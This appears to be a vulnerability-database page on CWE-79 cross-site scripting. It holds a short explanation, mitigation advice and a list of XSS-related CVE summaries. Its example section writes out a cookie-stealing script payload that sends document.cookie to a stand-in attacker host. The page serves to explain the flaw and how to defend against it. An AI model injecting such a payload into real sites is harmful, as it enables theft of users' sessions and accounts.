Fallos del tipo CWE-79

30.293 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-22876MEDIUMStrangeBee TheHive 5.1.0 to 5.1.9 and 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case attachment functionality which EPSS 0.3%CVE-2026-61607MEDIUMGrav API Plugin: Stored XSS via SVG Upload - API Media Pipeline Bypasses SanitizerEPSS 0.3%CVE-2024-32572MEDIUMWordPress Element Pack Elementor Addons plugin <= 5.6.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-66029MEDIUMEkushey Project Manager CRM 5.0 Stored XSS via Client Name FieldEPSS 0.3%CVE-2026-66030MEDIUMEkushey Project Manager CRM 5.0 Stored XSS via Ticket Title FieldEPSS 0.3%CVE-2024-29920MEDIUMWordPress Move Addons for Elementor plugin <= 1.2.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-48366MEDIUMGroupOffice's Blind Stored XSS in Phone Number Field Enables Forced Redirect and Unauthorized ActionsEPSS 0.3%CVE-2024-13289MEDIUMCookiebot + GTM - Moderately critical - Cross Site Scripting - SA-CONTRIB-2024-055EPSS 0.3%CVE-2025-65237MEDIUMA reflected cross-site scripted (XSS) vulnerability in OpenCode Systems USSD Gateway OC Release: 5 allows attackers to execute arbitrary JavEPSS 0.3%CVE-2024-32557MEDIUMWordPress Exclusive Addons for Elementor plugin <= 2.6.9.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-24751HIGHKiteworks Secure Data Forms Vulnerable to Cross-site ScriptingEPSS 0.3%CVE-2026-73537MEDIUMCross-site scripting vulnerability exists in Miraikan Assist App. If this vulnerability is exploited, an arbitrary script may be executed inEPSS 0.3%CVE-2024-25702MEDIUMBUG-000160599 - Stored XSS in Portal for ArcGIS Web App BuilderEPSS 0.3%CVE-2024-20487MEDIUMCisco Identity Services Engine Stored Cross-Site Scripting VulnerabiliyEPSS 0.3%CVE-2024-49377MEDIUMJinja2 Templates are vulnerable to XSS attacks due to their configuration in OctoPrintEPSS 0.3%CVE-2024-20443MEDIUMA vulnerability in the web-based management interface of Cisco ISE could allow an authenticated, remote attacker to conduct an XSS attack agEPSS 0.3%CVE-2024-42816MEDIUMA cross-site scripting (XSS) vulnerability in the Create Product function of fastapi-admin pro v0.1.4 allows attackers to execute arbitrary EPSS 0.3%CVE-2026-55491MEDIUMBigBlueButton: Stored XSS in Screenshare Recording Playback via Unescaped Meeting NameEPSS 0.3%CVE-2024-22877MEDIUMStrangeBee TheHive 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case reporting functionality. This feature allows an atEPSS 0.3%CVE-2024-20257MEDIUMA vulnerability in the web-based management interface of Cisco AsyncOS Software for Cisco Secure Email Gateway could allow an authenticated,EPSS 0.3%